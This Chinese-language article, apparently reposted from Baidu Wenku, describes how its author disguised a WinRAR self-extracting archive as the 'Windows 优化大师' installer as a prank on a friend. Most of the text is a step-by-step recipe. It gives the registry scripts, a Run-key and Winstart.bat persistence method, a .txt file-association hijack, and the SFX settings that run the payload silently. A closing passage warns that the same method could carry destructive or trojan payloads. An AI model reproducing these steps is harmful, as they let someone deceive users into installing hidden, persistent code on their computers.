空嫂:WinRAR自解压程序陷阱

来源:百度文库 编辑:偶看新闻 时间:2024/05/01 20:15:04
WinRAR自解压程序陷阱

与Winzip相比,Winrar3.0的自解压程序要多出功能。其中一项最为突出的功能,也是潜在着最大危险的是:它可以在解压前或解压后,无声无息地自动运行程序。 

  如果你不以为然,先看完以下事例: 

  几天前,一位朋友要我copy一份我从网上下载的‘Windows 优化大师’给他,我灵机一动,想起这几天研究Winrar3.0的心得,便满口答应。到了晚上,我花了几小时的时间为他特制了一份‘Windows 优化大师’,制作流程如下:建立一个注册表脚本文件,我取的文件名为regeditt.reg在里面写入: 

REGEDIT4 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion] 
"Registered Owner"="××" 
[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}] 
@="××""InfoTip"="包含可以恢复或永久删除的已删除项目。" 
[HKEY_USERS\.DEFAULT\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}] 
@="××的电脑" 
[HKEY_CURRENT_USER\Control Panel\International] 
"StimeFormat"="×× HH:mm" 
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] 
"TaskMonitoy"="regedit /s c:\\Windows\\sysbckup 
\\regeditt.reg" 

注:以上××均是不健康的调侃他人的词汇,编辑对它们做了净化。 

  上面第一项是更改计算机注册名称,第二项是更改‘回收站’名称,第三项是更改‘我的电脑’名称。第四项是在任务栏时间前加上文字,第五项是每次开机后自动运行c:\Windows\sysbckup\regeditt.reg。 

  建立完成后就是用Winrar打包了,选中regeditt.reg后击右键,在菜单中选‘添加到档案文件’,在弹出对话框中,把档案名称写为a1.exe,在下面存档选项中选中‘创建自释放格式’。然后在高级-自释放选项中写入释放路径,我写的是c:\Windows\Sysbckup,接下来就是在‘释放后运行’中写入regeditt.reg,然后在模式中选中‘全部隐藏’和‘覆盖所有文件’,完成这些后按确定,再选择注释我们会看到以下内容: 

Path=c:\Windows\SysbckupSetup=regeditt.regSilent=1Overwrite=1 

我们发现释放后运行的格式是Setup=*.*,这里是=regeditt.reg,但这样运行后系统会提示你是否确认导入注册表,所以应作如下修改: 

Path=c:\Windows\SysbckupSetup=regedit /s regeditt.regSilent=1Overwrite=1 

完成后按确定按扭,就会建立出一个名为a1.exe的Winrar自解压程序,如果双击运行它,屏幕上将没有任何显示,但它已无声无息地把regeditt.reg拷贝到c:\Windows\Sysbckup,并把其中的内容写入到注册表中了。 

  现在的问题是如何让我的朋友运行A1.exe呢?对了,用‘Windows 优化大师’。把A1.exe与‘Windows 优化大师’的安装文件(解压后的)放在一起打包,建立 Windows 优化大师.exe,全选后击右键,选‘添加到档案文件’……操作大致同A1.exe。只不过名称改为 Windows 优化大师.exe,解压路径改成:c:\Windows\temp,而且解压后要运行A1.exe和setup.exe两个文件,其注释内容应为: 

Path=c:\Windows\tempSetup=a1.exeSetup=setup.exeSilent=1Overwrite=1 

按确认后,我们已初步完成了一份特制的‘Windows 优化大师’了,为什么说‘初步’完成呢?因为现在修改注册表和启动项早已不是什么秘密了,所以A1.exe只不过是附料,还需要加入一味主料:A2.exe.把regeditt.reg更名另存为system.reg,去掉其中的 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] 
"TaskMonitoy"="regedit /s c:\\Windows\\sysbckup\\regeditt.reg" 

然后用计事本建立Winstart.bat,其中内容要写成:@echo off regedit c:\Windows\system.reg>nul这样写屏幕上将没有显示,完成后把这两个文件用Winrar作成自解压程序A2.exe,操作同A1.exe,但解压路径要改成 c:\WinDOWS,解压后也不需运行.其注释内容应为: 

Path=c:\WindowsSilent=1Overwrite=1 

完成后把a2.exe加入做好的 Windows 优化大师.exe,加入方法是:右击 Windows 优化大师.exe选择‘用Winrar打开’,把a2.exe拖入,按确定,然后点击工具栏中的注释,修改其中内容为: 

Path=c:\Windows\tempSetup=a1.exeSetup=a2.exeSetup=setup.exeSilent=1Overwrite=1 

然后确定-退出。到此为止,特制的‘Windows 优化大师.exe’已全部完成。因为Winstart.bat是在进入Windows图形界面之前运行的一个程序,所以加入A2.exe后,就算我的朋友能恢复注册表,甚至删除regeditt.reg,但只要c:\Windows下的system.reg和Winstart.bat不被发现,重启动后他的电脑将‘××’依旧。 

  在Windows98中启动程序的方法很多,如通过AUTOEXEC.BAT、Winstart.bat、开始菜单中的启动、注册表中的启动项、Win.ini、system.ini、Wininit.ini和修改文件关联等都可达到启动程序的目的。如:用Winrar自解压程序在注册表中导入 

REGEDIT4 
[HKEY_CLASSES_ROOT\txtfile\shell\open\command] 
@="regedit /s c:\\Windows\\system.reg" 

那么在双击txt类型文件时将不会以计事本打开,而是没有任何反应。但c:\\Windows\\system.reg中的内容也会悄无声息的被导入注册表。但我没有这样做,因为现在的这些已经够的的朋友折腾了。 

  第二天,我把这份‘精装’的 Windows 优化大师 交给了朋友,其后果可想而知。足足三天他在对着屏幕上的‘××’发愣。 

  以上的这些只是我用了Winrar强大的自解压功能,和朋友开了一个小玩笑,但从上面事例不难看出,WinrarR的这些功能使不会编程的人也能制作出一些恶意的程序,如果有人给这些程序起上一些漂亮的名字(如Windows 优化大师 2002 等)在网上发布,用它来format你的硬盘、deltree你的文件等等,也不是没有可能的。最最可怕的是,如果运行的是一个木马程序的客户端,那后果更加的不勘设想。